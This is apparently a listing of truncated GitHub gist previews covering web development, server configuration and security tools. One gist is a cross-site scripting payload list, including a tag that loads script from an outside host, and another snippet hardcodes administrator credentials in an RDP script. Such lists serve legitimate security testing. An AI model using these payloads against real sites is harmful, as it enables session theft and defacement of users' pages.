This is my take on fullstack development using NuxtJS and NestJS.
Development steps
- Lerna monorepo
- TypeScript linting and formatting
- Minimal NestJS server
- Minimal NuxtJS client
- Environment configuration
- TypeGraphQL
- TypeORM / MySQL
app: | |
image: my/webapp:latest | |
labels: | |
- "traefik.enable=true" | |
- "traefik.frontend.rule=Host:supercoolapp.com" | |
- "traefik.frontend.errors.network.backend=error" | |
- "traefik.frontend.errors.network.query=/{status}.html" | |
- "traefik.frontend.errors.network.status=500-511" | |
- "traefik.port=3000" | |
error_pages: |
// Discord all events! | |
// A quick and dirty fleshing out of the discord.js event listeners (not tested at all!) | |
// listed here -> https://discord.js.org/#/docs/main/stable/class/Client | |
// Learn from this, do not just copy it mofo! | |
// | |
// Saved to -> https://gist.github.com/koad/316b265a91d933fd1b62dddfcc3ff584 | |
// Last Updated -> Halloween 2022 | |
/* |
#!/bin/bash | |
############################################################################## | |
# burp-rest-api Kali build script | |
# Builds: https://github.com/vmware/burp-rest-api | |
# | |
# Currently Kali ships using java 9 as its default version of Java. This | |
# causes building https://github.com/vmware/burp-rest-api to fail. This | |
# script is meant to help fix that and get the tool to build properly | |
# |
### | |
# Proxmox or other server kernel params cheap tune and secure. | |
# Try it if you have heavy load on server - network or memory / disk. | |
# No harm assumed but keep your eyes open. | |
# | |
# @updated: 2020-02-06 - more params used, adjust some params values, more comments on params | |
# | |
### NETWORK ### |
/* global window */ | |
const popup = (url) => { | |
const windowArea = { | |
width: Math.floor(window.outerWidth * 0.8), | |
height: Math.floor(window.outerHeight * 0.5), | |
}; | |
if (windowArea.width < 1000) { windowArea.width = 1000; } | |
if (windowArea.height < 630) { windowArea.height = 630; } |
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> | |
'';!--"<XSS>=&{()} | |
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-" | |
<script/src=data:,alert()> | |
<marquee/onstart=alert()> | |
<video/poster/onerror=alert()> | |
<isindex/autofocus/onfocus=alert()> | |
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> | |
<IMG SRC="javascript:alert('XSS');"> | |
<IMG SRC=javascript:alert('XSS')> |
# Backup | |
docker exec CONTAINER /usr/bin/mysqldump -u root --password=root DATABASE > backup.sql | |
# Restore | |
cat backup.sql | docker exec -i CONTAINER /usr/bin/mysql -u root --password=root DATABASE | |
cmdkey /list | ForEach-Object{if($_ -like "*target=TERMSRV/*"){cmdkey /del:($_ -replace " ","" -replace "Target:","")}} | |
echo "Connecting to 192.168.1.100" | |
$Server="192.168.1.100" | |
$User="Administrator" | |
$Password="AdminPassword" | |
cmdkey /generic:TERMSRV/$Server /user:$User /pass:$Password | |
mstsc /v:$Server |
# Source: | |
# https://www.cloudflare.com/ips | |
# https://support.cloudflare.com/hc/en-us/articles/200169166-How-do-I-whitelist-CloudFlare-s-IP-addresses-in-iptables- | |
for i in `curl https://www.cloudflare.com/ips-v4`; do iptables -I INPUT -p tcp -m multiport --dports http,https -s $i -j ACCEPT; done | |
for i in `curl https://www.cloudflare.com/ips-v6`; do ip6tables -I INPUT -p tcp -m multiport --dports http,https -s $i -j ACCEPT; done | |
# Avoid racking up billing/attacks | |
# WARNING: If you get attacked and CloudFlare drops you, your site(s) will be unreachable. | |
iptables -A INPUT -p tcp -m multiport --dports http,https -j DROP |